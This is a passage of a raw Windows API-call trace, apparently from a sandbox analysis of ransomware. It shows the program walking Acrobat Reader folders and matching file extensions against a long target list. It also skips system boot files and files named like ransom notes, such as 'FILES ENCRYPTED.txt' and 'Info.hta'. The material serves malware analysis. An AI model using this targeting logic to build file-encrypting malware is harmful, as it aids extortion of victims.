(lpString=".j2c") returned 4 [0275.678] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".j2k") returned 4 [0275.678] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".java") returned 5 [0275.678] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0275.678] lstrlenW (lpString=".jp2") returned 4 [0275.678] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0275.678] lstrlenW (lpString=".jpc") returned 4 [0275.678] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0275.679] lstrlenW (lpString=".jpe") returned 4 [0275.679] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0275.679] lstrlenW (lpString=".jpeg") returned 5 [0275.679] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0275.679] lstrlenW (lpString=".jpf") returned 4 [0275.679] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0275.679] lstrlenW (lpString=".jpg") returned 4 [0275.679] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0275.679] lstrlenW (lpString=".jpx") returned 4 [0275.679] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0275.679] lstrlenW (lpString=".js") returned 3 [0275.679] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0275.679] lstrlenW (lpString="ui-strings.js") returned 13 [0275.679] lstrlenW (lpString=".love$") returned 6 [0275.679] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0275.679] lstrlenW (lpString="ui-strings.js") returned 13 [0275.679] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0275.679] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0275.679] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js") returned 127 [0275.679] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.680] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0275.680] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0275.680] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0275.680] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr") returned 113 [0275.680] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr") returned 1 [0275.705] lstrlenW (lpString="fr-fr") returned 5 [0275.705] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-fr") returned -1 [0275.705] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0275.705] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr") returned 113 [0275.705] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315d30 [0275.706] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.706] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.706] lstrlenW (lpString="ui-strings.js") returned 13 [0275.706] lstrlenW (lpString=".1cd") returned 4 [0275.706] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.706] lstrlenW (lpString=".3ds") returned 4 [0275.706] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.706] lstrlenW (lpString=".3fr") returned 4 [0275.706] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.706] lstrlenW (lpString=".3g2") returned 4 [0275.706] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.706] lstrlenW (lpString=".3gp") returned 4 [0275.706] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.706] lstrlenW (lpString=".7z") returned 3 [0275.706] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.707] lstrlenW (lpString=".accda") returned 6 [0275.707] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.707] lstrlenW (lpString=".accdb") returned 6 [0275.707] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.707] lstrlenW (lpString=".accdc") returned 6 [0275.707] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.707] lstrlenW (lpString=".accde") returned 6 [0275.707] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.707] lstrlenW (lpString=".accdt") returned 6 [0275.707] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.707] lstrlenW (lpString=".accdw") returned 6 [0275.707] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.707] lstrlenW (lpString=".adb") returned 4 [0275.707] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.707] lstrlenW (lpString=".adp") returned 4 [0275.707] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.707] lstrlenW (lpString=".ai") returned 3 [0275.707] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.707] lstrlenW (lpString=".ai3") returned 4 [0275.707] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.707] lstrlenW (lpString=".ai4") returned 4 [0275.707] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.707] lstrlenW (lpString=".ai5") returned 4 [0275.707] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.707] lstrlenW (lpString=".ai6") returned 4 [0275.708] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".ai7") returned 4 [0275.708] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".ai8") returned 4 [0275.708] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".anim") returned 5 [0275.708] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.708] lstrlenW (lpString=".arw") returned 4 [0275.708] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".as") returned 3 [0275.708] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.708] lstrlenW (lpString=".asa") returned 4 [0275.708] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".asc") returned 4 [0275.708] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".ascx") returned 5 [0275.708] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.708] lstrlenW (lpString=".asm") returned 4 [0275.708] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".asmx") returned 5 [0275.708] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.708] lstrlenW (lpString=".asp") returned 4 [0275.708] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.708] lstrlenW (lpString=".aspx") returned 5 [0275.708] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.708] lstrlenW (lpString=".asr") returned 4 [0275.709] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".asx") returned 4 [0275.709] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".avi") returned 4 [0275.709] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".avs") returned 4 [0275.709] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".backup") returned 7 [0275.709] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.709] lstrlenW (lpString=".bak") returned 4 [0275.709] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".bay") returned 4 [0275.709] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".bd") returned 3 [0275.709] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.709] lstrlenW (lpString=".bin") returned 4 [0275.709] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".bmp") returned 4 [0275.709] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".bz2") returned 4 [0275.709] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".c") returned 2 [0275.709] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.709] lstrlenW (lpString=".cdr") returned 4 [0275.709] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.709] lstrlenW (lpString=".cer") returned 4 [0275.710] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".cf") returned 3 [0275.710] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.710] lstrlenW (lpString=".cfc") returned 4 [0275.710] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".cfm") returned 4 [0275.710] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".cfml") returned 5 [0275.710] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.710] lstrlenW (lpString=".cfu") returned 4 [0275.710] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".chm") returned 4 [0275.710] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".cin") returned 4 [0275.710] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".class") returned 6 [0275.710] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.710] lstrlenW (lpString=".clx") returned 4 [0275.710] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".config") returned 7 [0275.710] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0275.710] lstrlenW (lpString=".cpp") returned 4 [0275.710] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.710] lstrlenW (lpString=".cr2") returned 4 [0275.711] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".crt") returned 4 [0275.711] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".crw") returned 4 [0275.711] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".cs") returned 3 [0275.711] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.711] lstrlenW (lpString=".css") returned 4 [0275.711] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".csv") returned 4 [0275.711] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".cub") returned 4 [0275.711] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".dae") returned 4 [0275.711] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".dat") returned 4 [0275.711] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.711] lstrlenW (lpString=".db") returned 3 [0275.712] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.712] lstrlenW (lpString=".dbf") returned 4 [0275.712] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dbx") returned 4 [0275.712] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dc3") returned 4 [0275.712] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dcm") returned 4 [0275.712] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dcr") returned 4 [0275.712] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".der") returned 4 [0275.712] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dib") returned 4 [0275.712] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dic") returned 4 [0275.712] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.712] lstrlenW (lpString=".dif") returned 4 [0275.713] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".divx") returned 5 [0275.713] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.713] lstrlenW (lpString=".djvu") returned 5 [0275.713] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.713] lstrlenW (lpString=".dng") returned 4 [0275.713] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".doc") returned 4 [0275.713] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".docm") returned 5 [0275.713] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.713] lstrlenW (lpString=".docx") returned 5 [0275.713] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.713] lstrlenW (lpString=".dot") returned 4 [0275.713] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".dotm") returned 5 [0275.713] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.713] lstrlenW (lpString=".dotx") returned 5 [0275.713] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.713] lstrlenW (lpString=".dpx") returned 4 [0275.713] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".dqy") returned 4 [0275.713] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".dsn") returned 4 [0275.713] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.713] lstrlenW (lpString=".dt") returned 3 [0275.713] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.714] lstrlenW (lpString=".dtd") returned 4 [0275.714] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".dwg") returned 4 [0275.714] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".dwt") returned 4 [0275.714] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".dx") returned 3 [0275.714] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.714] lstrlenW (lpString=".dxf") returned 4 [0275.714] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".edml") returned 5 [0275.714] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0275.714] lstrlenW (lpString=".efd") returned 4 [0275.714] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".elf") returned 4 [0275.714] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".emf") returned 4 [0275.714] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".emz") returned 4 [0275.714] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".epf") returned 4 [0275.714] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0275.714] lstrlenW (lpString=".eps") returned 4 [0275.714] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0275.715] FindNextFileW (in: hFindFile=0x3315d30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.715] FindClose (in: hFindFile=0x3315d30 | out: hFindFile=0x3315d30) returned 1 [0275.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0275.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0275.715] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it") returned 113 [0275.715] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0275.715] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.716] lstrlenW (lpString="ui-strings.js") returned 13 [0275.716] lstrlenW (lpString=".1cd") returned 4 [0275.716] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0275.716] lstrlenW (lpString=".3ds") returned 4 [0275.716] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0275.716] lstrlenW (lpString=".3fr") returned 4 [0275.716] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0275.716] lstrlenW (lpString=".3g2") returned 4 [0275.716] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0275.716] lstrlenW (lpString=".3gp") returned 4 [0275.716] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0275.716] lstrlenW (lpString=".7z") returned 3 [0275.716] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0275.716] lstrlenW (lpString=".accda") returned 6 [0275.716] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0275.716] lstrlenW (lpString=".accdb") returned 6 [0275.716] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0275.716] lstrlenW (lpString=".accdc") returned 6 [0275.716] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0275.716] lstrlenW (lpString=".accde") returned 6 [0275.716] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0275.716] lstrlenW (lpString=".accdt") returned 6 [0275.716] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0275.716] lstrlenW (lpString=".accdw") returned 6 [0275.716] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0275.716] lstrlenW (lpString=".adb") returned 4 [0275.717] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".adp") returned 4 [0275.717] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ai") returned 3 [0275.717] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0275.717] lstrlenW (lpString=".ai3") returned 4 [0275.717] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ai4") returned 4 [0275.717] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ai5") returned 4 [0275.717] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ai6") returned 4 [0275.717] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ai7") returned 4 [0275.717] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ai8") returned 4 [0275.717] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".anim") returned 5 [0275.717] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0275.717] lstrlenW (lpString=".arw") returned 4 [0275.717] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".as") returned 3 [0275.717] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0275.717] lstrlenW (lpString=".asa") returned 4 [0275.717] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".asc") returned 4 [0275.717] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0275.717] lstrlenW (lpString=".ascx") returned 5 [0275.718] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0275.718] lstrlenW (lpString=".asm") returned 4 [0275.718] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".asmx") returned 5 [0275.718] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0275.718] lstrlenW (lpString=".asp") returned 4 [0275.718] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".aspx") returned 5 [0275.718] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0275.718] lstrlenW (lpString=".asr") returned 4 [0275.718] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".asx") returned 4 [0275.718] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".avi") returned 4 [0275.718] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".avs") returned 4 [0275.718] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".backup") returned 7 [0275.718] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0275.718] lstrlenW (lpString=".bak") returned 4 [0275.718] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".bay") returned 4 [0275.718] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0275.718] lstrlenW (lpString=".bd") returned 3 [0275.718] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0275.718] lstrlenW (lpString=".bin") returned 4 [0275.719] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".bmp") returned 4 [0275.719] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".bz2") returned 4 [0275.719] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".c") returned 2 [0275.719] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0275.719] lstrlenW (lpString=".cdr") returned 4 [0275.719] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".cer") returned 4 [0275.719] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned 